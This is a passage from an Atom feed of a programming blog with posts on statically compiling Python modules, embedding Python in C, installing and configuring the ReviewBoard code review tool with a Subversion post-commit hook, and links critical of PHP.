term='python'/><title type='text'>Compiling Python: Modules/Setup</title><content type='html'>&lt;div dir="ltr" style="text-align: left;" trbidi="on"&gt;
A little hint for Python developers who use it for embedded or unconventional platforms (like Cray supercomputers if you're lucky): it can be compiled and used without any dynamic libraries. I've got the problem with stripped &lt;b&gt;libc.so&lt;/b&gt; -&amp;nbsp;some Python shared object (like &lt;b&gt;_socket.so&lt;/b&gt;) try to use it, but can't find anything because it's stripped. The only choice I had is using Python without these shared objects.&lt;br /&gt;
&lt;br /&gt;
Fortunately, Python support it out of the box. After configuring it, you can use Modules/Setup file to set up which modules have to be compiled within the Python binary:&lt;br /&gt;
&lt;blockquote&gt;
&lt;i&gt;The build process works like this:&lt;br /&gt;&amp;nbsp;1. Build all modules that are declared as static in Modules/Setup,&lt;br /&gt;&amp;nbsp; &amp;nbsp; combine them into libpythonxy.a, combine that into python.&lt;br /&gt;&amp;nbsp;2. Build all modules that are listed as shared in Modules/Setup.&lt;br /&gt;&amp;nbsp;3. Invoke setup.py. That builds all modules that&lt;br /&gt;&amp;nbsp; &amp;nbsp; a) are not builtin, and&lt;br /&gt;&amp;nbsp; &amp;nbsp; b) are not listed in Modules/Setup, and&lt;br /&gt;&amp;nbsp; &amp;nbsp; c) can be build on the target&lt;/i&gt;&lt;/blockquote&gt;
For example, if you want to embed _socket module to the Python binary, just uncomment this line in the Setup file:&lt;br /&gt;
&lt;br /&gt;
&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;#_socket socketmodule.c&lt;/span&gt;&lt;br /&gt;
&lt;br /&gt;
After recompiling you'll get that you want. Feel the power of Python portability :-)&lt;br /&gt;
&lt;br /&gt;
In the near future&amp;nbsp;I'll give an update about&amp;nbsp;another techniques for tuning up the Python installation (like stripping and packing the binary, using standard libraries as&amp;nbsp;zip-archive of&amp;nbsp;pyc-files). Keep in touch.&lt;br /&gt;
&lt;br /&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3721596730656231421-2000587470920426968?l=nuald.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://nuald.blogspot.com/feeds/2000587470920426968/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://nuald.blogspot.com/2011/06/compiling-python-modulessetup.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3721596730656231421/posts/default/2000587470920426968'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3721596730656231421/posts/default/2000587470920426968'/><link rel='alternate' type='text/html' href='http://nuald.blogspot.com/2011/06/compiling-python-modulessetup.html' title='Compiling Python: Modules/Setup'/><author><name>Alexander Slesarev</name><uri>http://www.blogger.com/profile/05637529008894979993</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://2.bp.blogspot.com/_b8spDATDZH0/SjYfTbQYXII/AAAAAAAAAG4/Y5zRMIfFIxs/S220/logo.png'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3721596730656231421.post-1566167012873987295</id><published>2011-06-28T12:55:00.001-07:00</published><updated>2011-06-28T12:55:42.815-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='C'/><category scheme='http://www.blogger.com/atom/ns#' term='embedding'/><category scheme='http://www.blogger.com/atom/ns#' term='python'/><title type='text'>Embedding Python</title><content type='html'>&lt;div dir="ltr" style="text-align: left;" trbidi="on"&gt;
Just want to share some useful links about embedding Python to your C-based application:&lt;br /&gt;
&lt;ul style="text-align: left;"&gt;
&lt;li&gt;the main article:&amp;nbsp;&lt;b&gt;&lt;a href="http://docs.python.org/extending/embedding.html"&gt;Embedding Python in Another Application&lt;/a&gt;&lt;/b&gt;&lt;/li&gt;
&lt;li&gt;additional article that shows peculiarities of multithreading, sockets and shared memory: &lt;b&gt;Embedding Python in C/C++ (&lt;a href="http://www.codeproject.com/KB/cpp/embedpython_1.aspx"&gt;Part1&lt;/a&gt;, &lt;a href="http://www.codeproject.com/KB/cpp/embedpython_2.aspx"&gt;Part2&lt;/a&gt;)&lt;/b&gt;&lt;/li&gt;
&lt;li&gt; &lt;a href="http://cython.org/"&gt;Cython&lt;/a&gt; (or &lt;a href="http://www.cosc.canterbury.ac.nz/%7Egreg/python/Pyrex/"&gt;Pyrex&lt;/a&gt;) can be used to reduce handwritten code for Python interoperability: &lt;b&gt;&lt;a href="http://www.perrygeo.net/wordpress/?p=116"&gt;A quick Cython introduction&lt;/a&gt;&lt;/b&gt;&lt;/li&gt;
&lt;/ul&gt;
If you have doubts about Python size, there are some minimal implementations: see &lt;a href="http://wiki.python.org/moin/EmbeddedPython"&gt;Embedded Python&lt;/a&gt; article. Let me quote &lt;a href="http://www.tinypy.org/"&gt;tinypy&lt;/a&gt;:&lt;br /&gt;
&lt;blockquote&gt;
&lt;b&gt;tinypy is a minimalist implementation of python in 64k of code&lt;/b&gt;&lt;br /&gt;
...&lt;br /&gt;
&lt;b&gt;What more could you possibly want?? &lt;/b&gt;&lt;br /&gt;
&lt;i&gt;a pony?&lt;/i&gt;&lt;/blockquote&gt;
However, I highly recommend to use classic CPython implementation (basically because it has a huge number of contributors and supporters, and has an excellent documentation). It can be stripped up to 1-2 megabytes depending of your requirements.&lt;br /&gt;
&lt;div&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3721596730656231421-1566167012873987295?l=nuald.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://nuald.blogspot.com/feeds/1566167012873987295/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://nuald.blogspot.com/2011/06/embedding-python.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3721596730656231421/posts/default/1566167012873987295'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3721596730656231421/posts/default/1566167012873987295'/><link rel='alternate' type='text/html' href='http://nuald.blogspot.com/2011/06/embedding-python.html' title='Embedding Python'/><author><name>Alexander Slesarev</name><uri>http://www.blogger.com/profile/05637529008894979993</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://2.bp.blogspot.com/_b8spDATDZH0/SjYfTbQYXII/AAAAAAAAAG4/Y5zRMIfFIxs/S220/logo.png'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3721596730656231421.post-1975740640775717951</id><published>2011-05-03T21:21:00.002-07:00</published><updated>2011-05-04T20:30:57.455-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='scm'/><category scheme='http://www.blogger.com/atom/ns#' term='tools'/><category scheme='http://www.blogger.com/atom/ns#' term='django'/><category scheme='http://www.blogger.com/atom/ns#' term='reviewboard'/><category scheme='http://www.blogger.com/atom/ns#' term='python'/><title type='text'>Introduction to ReviewBoard</title><content type='html'>&lt;div dir="ltr" style="text-align: left;" trbidi="on"&gt;
&lt;a href="http://www.reviewboard.org/"&gt;Review Board&lt;/a&gt; is a powerful web-based code review tool that offers developers an easy way to handle code reviews. It scales well from small projects to large companies and offers a variety of tools to take much of the stress and time out of the code review process. Review Board is written in the Python programming language and makes use of the Django web framework.&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;Installation&lt;/b&gt;&lt;br /&gt;
&lt;b&gt;&amp;nbsp;&lt;/b&gt;
&lt;br /&gt;
Install auxiliary packages  if needed and all its dependencies:
&lt;br /&gt;
&lt;br /&gt;
&lt;span class="Apple-style-span" style="font-family: 'Courier New',Courier,monospace;"&gt;$ sudo apt-get install python-setuptools&lt;/span&gt;&lt;br /&gt;
&lt;span class="Apple-style-span" style="font-family: 'Courier New',Courier,monospace;"&gt;$ sudo apt-get install python-svn&lt;/span&gt;&lt;br /&gt;
&lt;span class="Apple-style-span" style="font-family: 'Courier New',Courier,monospace;"&gt;$ sudo apt-get install python-subversion&lt;/span&gt;&lt;br /&gt;
&lt;span class="Apple-style-span" style="font-family: 'Courier New',Courier,monospace;"&gt;$ sudo apt-get install apache2&lt;/span&gt;&lt;br /&gt;
&lt;span class="Apple-style-span" style="font-family: 'Courier New',Courier,monospace;"&gt;$ sudo apt-get install libapache2-mod-python&lt;/span&gt;&lt;br /&gt;
&lt;span class="Apple-style-span" style="font-family: 'Courier New',Courier,monospace;"&gt;$ sudo apt-get install git &lt;/span&gt;&lt;br /&gt;
&lt;br /&gt;
Clone the ReviewBoard package and install it:&lt;br /&gt;
&lt;br /&gt;
&lt;span class="Apple-style-span" style="font-family: 'Courier New',Courier,monospace;"&gt;$ git clone git://github.com/reviewboard/reviewboard.git&lt;/span&gt;&lt;br /&gt;
&lt;span class="Apple-style-span" style="font-family: 'Courier New',Courier,monospace;"&gt;$ cd reviewboard&lt;/span&gt;&lt;br /&gt;
&lt;span class="Apple-style-span" style="font-family: 'Courier New',Courier,monospace;"&gt;$ sudo python setup.py develop&lt;/span&gt;&lt;br /&gt;
&lt;br /&gt;
Also install &lt;a href="http://www.reviewboard.org/docs/manual/dev/users/tools/post-review"&gt;post-review&lt;/a&gt; tool:&lt;br /&gt;
&lt;br /&gt;
&lt;span class="Apple-style-span" style="font-family: 'Courier New',Courier,monospace;"&gt;$ sudo easy_install -U RBTools&lt;/span&gt;&lt;br /&gt;
&lt;br /&gt;
Set up the required site for the ReviewBoard (for Apache/SQLite backend, otherwise - see &lt;a href="http://www.reviewboard.org/docs/manual/dev/admin/sites/creating-sites"&gt;Creating Sites reference&lt;/a&gt;):
&lt;br /&gt;
&lt;br /&gt;
&lt;span class="Apple-style-span" style="font-family: 'Courier New',Courier,monospace;"&gt;$ sudo rb-site install /var/www/reviews.example.com&lt;/span&gt;&lt;br /&gt;
&lt;span class="Apple-style-span" style="font-family: 'Courier New',Courier,monospace;"&gt;$ sudo chown -R www-data /var/www/reviews.example.com/htdocs/media/uploaded&lt;/span&gt;
&lt;span class="Apple-style-span" style="font-family: 'Courier New',Courier,monospace;"&gt;&amp;nbsp;&lt;/span&gt;&lt;br /&gt;
&lt;span class="Apple-style-span" style="font-family: 'Courier New',Courier,monospace;"&gt;$ sudo chown -R www-data /var/www/reviews.example.com/data&lt;br /&gt;$ cd /etc/apache2/sites-available&lt;/span&gt;
&lt;span class="Apple-style-span" style="font-family: 'Courier New',Courier,monospace;"&gt;&amp;nbsp;&lt;/span&gt;&lt;br /&gt;
&lt;span class="Apple-style-span" style="font-family: 'Courier New',Courier,monospace;"&gt;$ sudo cp /var/www/reviews.example.com/conf/apache-modpython.conf reviews.example.com.conf&lt;/span&gt;&lt;br /&gt;
&lt;span class="Apple-style-span" style="font-family: 'Courier New',Courier,monospace;"&gt;$ cd ../sites-enabled&lt;/span&gt;
&lt;span class="Apple-style-span" style="font-family: 'Courier New',Courier,monospace;"&gt;$ sudo ln -s ../sites-available/reviews.example.com.conf .&lt;/span&gt;&lt;br /&gt;
&lt;br /&gt;
If necessary, change &lt;span class="Apple-style-span" style="font-family: 'Courier New',Courier,monospace;"&gt;/etc/hosts&lt;/span&gt; to include &lt;span class="Apple-style-span" style="font-family: 'Courier New',Courier,monospace;"&gt;reviews.example.com&lt;/span&gt; for testing purposes.&lt;br /&gt;
&lt;br /&gt;
Restart apache and test the site:
&lt;br /&gt;
&lt;br /&gt;
&lt;span class="Apple-style-span" style="font-family: 'Courier New',Courier,monospace;"&gt;$ sudo /etc/init.d/apache2 restart&lt;/span&gt;
&lt;br /&gt;
&lt;br /&gt;
You have to got this page:&lt;br /&gt;
&lt;br /&gt;
&lt;table align="center" cellpadding="0" cellspacing="0" class="tr-caption-container" style="margin-left: auto; margin-right: auto; text-align: center;"&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td style="text-align: center;"&gt;&lt;a href="https://lh4.googleusercontent.com/-ggciTcW0xjY/TX1OOeDlgtI/AAAAAAAAAPM/C9Anm3i_kmA/s1600/scr11.png" imageanchor="1" style="margin-left: auto; margin-right: auto;"&gt;&lt;img border="0" height="301" src="https://lh4.googleusercontent.com/-ggciTcW0xjY/TX1OOeDlgtI/AAAAAAAAAPM/C9Anm3i_kmA/s400/scr11.png" width="400" /&gt;&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class="tr-caption" style="text-align: center;"&gt;Fig.1 Log In page&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;
&lt;br /&gt;
On that stage you can create necessary accounts to work with the system.
&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;Setup the test environment&lt;/b&gt;
&lt;br /&gt;
&lt;br /&gt;
For testing purposes I install the SVN repo too (just an example, in the most cases I prefer DVCS systems):
&lt;br /&gt;
&lt;br /&gt;
&lt;span class="Apple-style-span" style="font-family: 'Courier New',Courier,monospace;"&gt;$ cd&lt;/span&gt;
&lt;span class="Apple-style-span" style="font-family: 'Courier New',Courier,monospace;"&gt;&amp;nbsp;&lt;/span&gt;&lt;br /&gt;
&lt;span class="Apple-style-span" style="font-family: 'Courier New',Courier,monospace;"&gt;$ svnadmin create test&lt;/span&gt;&lt;br /&gt;
&lt;span class="Apple-style-span" style="font-family: 'Courier New',Courier,monospace;"&gt;$ sudo svnserve -d&lt;/span&gt;&lt;br /&gt;
&lt;span class="Apple-style-span" style="font-family: 'Courier New',Courier,monospace;"&gt;$ svn co svn://localhost/$HOME/test svn_test&lt;/span&gt;&lt;br /&gt;
&lt;span class="Apple-style-span" style="font-family: 'Courier New',Courier,monospace;"&gt;$ mkdir svn_test/trunk&lt;/span&gt;
&lt;span class="Apple-style-span" style="font-family: 'Courier New',Courier,monospace;"&gt;&amp;nbsp;&lt;/span&gt;&lt;br /&gt;
&lt;span class="Apple-style-span" style="font-family: 'Courier New',Courier,monospace;"&gt;$ touch svn_test/trunk/README&lt;/span&gt;&lt;br /&gt;
&lt;span class="Apple-style-span" style="font-family: 'Courier New',Courier,monospace;"&gt;$ cd svn_test&lt;/span&gt;&lt;br /&gt;
&lt;span class="Apple-style-span" style="font-family: 'Courier New',Courier,monospace;"&gt;$ svn add trunk&lt;/span&gt;
&lt;br /&gt;
&lt;br /&gt;
Change ~/test/conf/svnserve.conf to allow required access (uncomment &lt;b&gt;auth-access = write&lt;/b&gt; and &lt;b&gt;password-db=passwd&lt;/b&gt;). Add required entries to &lt;span class="Apple-style-span" style="font-family: 'Courier New',Courier,monospace;"&gt;passwd&lt;/span&gt; file (please notice that password should be in clear unencrypted text).
&lt;br /&gt;
Commit changes:
&lt;br /&gt;
&lt;br /&gt;
&lt;span class="Apple-style-span" style="font-family: 'Courier New',Courier,monospace;"&gt;$ svn ci -m"initial commit"&lt;/span&gt;
&lt;br /&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&lt;b&gt;Setup the ReviewBoard system&lt;/b&gt;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
Login as admin, go to Admin-&amp;gt;Repositories-&amp;gt;Add repository:&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;table align="center" cellpadding="0" cellspacing="0" class="tr-caption-container" style="margin-left: auto; margin-right: auto; text-align: center;"&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td style="text-align: center;"&gt;&lt;a href="http://1.bp.blogspot.com/-_pp8H1voVcI/TcIPKFfFtPI/AAAAAAAAAPk/9NvgauaG4fg/s1600/Screenshot-Change+repository+%257C+Review+Board+administration+-+Mozilla+Firefox.png" imageanchor="1" style="margin-left: auto; margin-right: auto;"&gt;&lt;img border="0" height="280" src="http://1.bp.blogspot.com/-_pp8H1voVcI/TcIPKFfFtPI/AAAAAAAAAPk/9NvgauaG4fg/s400/Screenshot-Change+repository+%257C+Review+Board+administration+-+Mozilla+Firefox.png" width="400" /&gt;&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class="tr-caption" style="text-align: center;"&gt;Fig.2 Change Repository page&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;
&lt;div class="separator" style="clear: both; text-align: center;"&gt;
&lt;a href="https://lh5.googleusercontent.com/-DNS5lyaz7yU/TX1V-4OAUHI/AAAAAAAAAPQ/pGoHFnQiWWE/s1600/scr12.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;br /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
As you can see, Review Board supports the following repo types:&lt;/div&gt;
&lt;div&gt;
&lt;ul&gt;
&lt;li&gt;Bazaar&lt;/li&gt;
&lt;li&gt;CVS&lt;/li&gt;
&lt;li&gt;Clear Case&lt;/li&gt;
&lt;li&gt;Git&lt;/li&gt;
&lt;li&gt;Mercurial&lt;/li&gt;
&lt;li&gt;Perforce&lt;/li&gt;
&lt;li&gt;Subversion&lt;/li&gt;
&lt;/ul&gt;
&lt;div&gt;
Also it can be integrated with the following bug trackers:&lt;/div&gt;
&lt;/div&gt;
&lt;div&gt;
&lt;ul&gt;
&lt;li&gt;Bitbucket&lt;/li&gt;
&lt;li&gt;Bugzilla&lt;/li&gt;
&lt;li&gt;Github&lt;/li&gt;
&lt;li&gt;Google Code&lt;/li&gt;
&lt;li&gt;Redmine&lt;/li&gt;
&lt;li&gt;Sourceforge&lt;/li&gt;
&lt;li&gt;Trac&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
The initial functionality can be tested with the &lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;post-review&lt;/span&gt; tool in the source tree with uncommited changes:&lt;br /&gt;
&lt;br /&gt;
&lt;div style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;
$ post-review --username=username&lt;username&gt; --bugs-closed=bug_number(s)&lt;bug_number(s)&gt;&lt;/bug_number(s)&gt;&lt;/username&gt;&lt;/div&gt;
&lt;br /&gt;
The command above creates a review request by user &lt;username&gt;'username', and it's also declared that this commit close certain bug(s).&lt;/username&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;div&gt;
&lt;b&gt;Setup the Subversion hooks&lt;/b&gt;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
Review Requests can be sent manually, but I'm always trying to automate the process as much as possible. So, let's set up the post-commit hooks. For that, we'll use the &lt;span class="Apple-style-span" style="font-family: 'Courier New',Courier,monospace;"&gt;svn-hook-postcommit-review&lt;/span&gt; from the ReviewBoard sources (&lt;span class="Apple-style-span" style="font-family: 'Courier New',Courier,monospace;"&gt;contrib/tools&lt;/span&gt;). Create a &lt;span class="Apple-style-span" style="font-family: 'Courier New',Courier,monospace;"&gt;post-commit&lt;/span&gt; script in the hooks dir (~&lt;span class="Apple-style-span" style="font-family: 'Courier New',Courier,monospace;"&gt;/test/hooks&lt;/span&gt;):&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;span class="Apple-style-span" style="font-family: 'Courier New',Courier,monospace;"&gt;#!/bin/sh&lt;br /&gt;REPOS="$1"&lt;br /&gt;REV="$2"&lt;br /&gt;/usr/bin/python /some/path/svn-hook-postcommit-review "$REPOS" "$REV" || exit 1&lt;/span&gt;&lt;br /&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
And make it executable:&lt;br /&gt;
&lt;br /&gt;
&lt;span class="Apple-style-span" style="font-family: 'Courier New',Courier,monospace;"&gt;$ chmod +x post-commit&lt;/span&gt;&lt;br /&gt;
&lt;br /&gt;
Set up&amp;nbsp;&lt;span class="Apple-style-span" style="font-family: 'Courier New',Courier,monospace;"&gt;svn-hook-postcommit-review: &lt;/span&gt;&lt;span class="Apple-style-span" style="font-family: inherit;"&gt;POSTREVIEW_PATH (change it to /usr/local/bin or other dir where it's located), USERNAME and PASSWORD (change it to special user&amp;nbsp;&lt;/span&gt;with &lt;a href="http://www.reviewboard.org/docs/manual/dev/admin/management/users/#can-submit-as-user-permission"&gt;“Can submit as user” Permission&lt;/a&gt; and &lt;a href="http://www.reviewboard.org/docs/manual/dev/admin/management/users/#can-edit-review-request-permission"&gt;“Can edit review request” Permission&lt;/a&gt;). If you've got some problem, you can set up &lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;DEBUG&lt;/span&gt; constant to &lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;True&lt;/span&gt;.&lt;br /&gt;
&lt;br /&gt;
Set up svn properties of the checkout-ed sources for review board server:&lt;br /&gt;
&lt;br /&gt;
&lt;span class="Apple-style-span" style="font-family: 'Courier New',Courier,monospace;"&gt;$ svn propset reviewboard:url http://reviews.example.com .&lt;/span&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;Using the Review Board&lt;/b&gt;&lt;br /&gt;
&lt;br /&gt;
Now all commits which contain "publish review" or similar messages (see the &lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;svn-hook-postcommit-review&lt;/span&gt; sources) will create review requests as well.
&lt;br /&gt;
&lt;br /&gt;
If add ticket number (and setup repository to use some bug-tracking system), the commit message should contain the required reference, for example, #&lt;ticket_number&gt;. The link to the ticket will be created by Review Board automatically.&lt;/ticket_number&gt;&lt;br /&gt;
&lt;br /&gt;
For example, for commit message like this:
&lt;br /&gt;
&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;
&lt;i&gt;&amp;nbsp;&lt;/i&gt;&lt;/span&gt;&lt;br /&gt;
&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;&lt;i&gt;Syntax has been fixed, publishreview #161&lt;/i&gt;&lt;/span&gt;
&lt;br /&gt;
&lt;br /&gt;
the result review request can look like this:&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;table align="center" cellpadding="0" cellspacing="0" class="tr-caption-container" style="margin-left: auto; margin-right: auto; text-align: center;"&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td style="text-align: center;"&gt;&lt;a href="http://3.bp.blogspot.com/-1V_5EpocXsY/TcDL0WfM7FI/AAAAAAAAAPY/CEwxqr48jkY/s1600/Screenshot-Syntax+has+been+fixed%252C+publishreview+%2523161+%257C+Review+Request+%257C+Review+Board+-+Mozilla+Firefox.png" imageanchor="1" style="margin-left: auto; margin-right: auto;"&gt;&lt;img border="0" height="242" src="http://3.bp.blogspot.com/-1V_5EpocXsY/TcDL0WfM7FI/AAAAAAAAAPY/CEwxqr48jkY/s400/Screenshot-Syntax+has+been+fixed%252C+publishreview+%2523161+%257C+Review+Request+%257C+Review+Board+-+Mozilla+Firefox.png" width="400" /&gt;&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class="tr-caption" style="text-align: center;"&gt;Fig. 3 Review Request page&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;
&lt;div&gt;
&lt;/div&gt;
&lt;div&gt;
Of course, it is not required to always use 'publish review' commands - the provided hook is just an example, it can be modified whatever you want (including creating requests for each commit). Regular expressions for getting corresponding bug/ticket number(s) are pretty ugly there, so probably you'll want to fix these (bug numbers are passed as parameter to --bugs-closed argument for post-review tool).&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
And of course, the main part - viewing diffs. Click the corresponding button 'View Diff':&lt;/div&gt;
&lt;div class="separator" style="clear: both; text-align: center;"&gt;
&lt;a href="http://1.bp.blogspot.com/-vVe7ctWgM8Q/TcDOWU-ozVI/AAAAAAAAAPc/m4XERdDxeMI/s1600/Screenshot-Syntax+has+been+fixed%252C+publishreview+%2523161+%257C+Review+Request+%257C+Review+Board+-+Mozilla+Firefox.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;table align="center" cellpadding="0" cellspacing="0" class="tr-caption-container" style="margin-left: auto; margin-right: auto; text-align: center;"&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td style="text-align: center;"&gt;&lt;a href="http://1.bp.blogspot.com/-gNFkVZXX3_A/TcDOX08LCQI/AAAAAAAAAPg/siTrn3fBaHE/s1600/Screenshot-PEP8+warnings+have+been+fixed+%257C+Diff+Viewer+%257C+Review+Board+-+Mozilla+Firefox.png" imageanchor="1" style="margin-left: auto; margin-right: auto;"&gt;&lt;img border="0" height="280" src="http://1.bp.blogspot.com/-gNFkVZXX3_A/TcDOX08LCQI/AAAAAAAAAPg/siTrn3fBaHE/s400/Screenshot-PEP8+warnings+have+been+fixed+%257C+Diff+Viewer+%257C+Review+Board+-+Mozilla+Firefox.png" width="400" /&gt;&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class="tr-caption" style="text-align: center;"&gt;Fig.4 Diff Viewer page&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;
&lt;div&gt;
&lt;/div&gt;
&lt;div&gt;
The reviews can add comments, approve or reject changes (for post-commit hook reject is mostly administrative measure rather than technical). General workflow is described on the corresponding &lt;a href="http://www.reviewboard.org/docs/manual/dev/users/getting-started/workflow/"&gt;Review Board page&lt;/a&gt;.&lt;br /&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
It's pretty difficult to cover all nuances of Review Board administration/usage, so all questions/remarks and suggestions are welcomed. But I hope you've got the whole idea and maybe it will be useful in your practice.&lt;/div&gt;
&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3721596730656231421-1975740640775717951?l=nuald.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://nuald.blogspot.com/feeds/1975740640775717951/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://nuald.blogspot.com/2011/05/introduction-to-reviewboard.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3721596730656231421/posts/default/1975740640775717951'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3721596730656231421/posts/default/1975740640775717951'/><link rel='alternate' type='text/html' href='http://nuald.blogspot.com/2011/05/introduction-to-reviewboard.html' title='Introduction to ReviewBoard'/><author><name>Alexander Slesarev</name><uri>http://www.blogger.com/profile/05637529008894979993</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://2.bp.blogspot.com/_b8spDATDZH0/SjYfTbQYXII/AAAAAAAAAG4/Y5zRMIfFIxs/S220/logo.png'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='https://lh4.googleusercontent.com/-ggciTcW0xjY/TX1OOeDlgtI/AAAAAAAAAPM/C9Anm3i_kmA/s72-c/scr11.png' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3721596730656231421.post-1021036173872425373</id><published>2011-04-27T21:20:00.002-07:00</published><updated>2011-04-28T18:56:27.622-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='python'/><category scheme='http://www.blogger.com/atom/ns#' term='php'/><title type='text'>Your Language Sucks (and about PHP again)</title><content type='html'>&lt;div dir="ltr" style="text-align: left;" trbidi="on"&gt;
I've found a good wiki-article about programming languages faults and want to share a link:&amp;nbsp;&lt;a href="http://wiki.theory.org/YourLanguageSucks"&gt;http://wiki.theory.org/YourLanguageSucks&lt;/a&gt;.&amp;nbsp;The "winner" is PHP&amp;nbsp;as usual, but Python is also noticed (as well as Ruby :) ). I agree with almost everything there, but in my own eyes Python is still the best choice for programming.&lt;br /&gt;
Nevertheless, I also want to point out some other recent links related to PHP (I really shouldn't but just can't help doing it):&lt;br /&gt;
&lt;br /&gt;
&lt;ul style="text-align: left;"&gt;
&lt;li&gt;&lt;a href="http://tommorris.org/wiki/PHP%20Sucks"&gt;PHP Sucks&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="http://www.steike.com/code/php-must-die/"&gt;PHP Must Die&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="http://www.quora.com/What-are-the-horrors-of-PHP"&gt;What are the horrors of PHP?&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="http://www.quora.com/What-factors-during-the-development-of-PHP-contributed-to-it-being-such-a-poorly-designed-language"&gt;What factors during the development of PHP contributed to it being such a poorly designed language?&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;div&gt;
And a quote from &lt;a href="http://itc.conversationsnetwork.org/shows/detail58.html"&gt;the&amp;nbsp;interview&lt;/a&gt; with&amp;nbsp;Rasmus Lerdorf &amp;nbsp;(the creator of PHP):&lt;/div&gt;
&lt;blockquote&gt;
I don't know how to stop it, there was never any intent to write a programming language [...] I have absolutely no idea how to write a programming language, I just kept adding the next logical step on the way.&lt;/blockquote&gt;
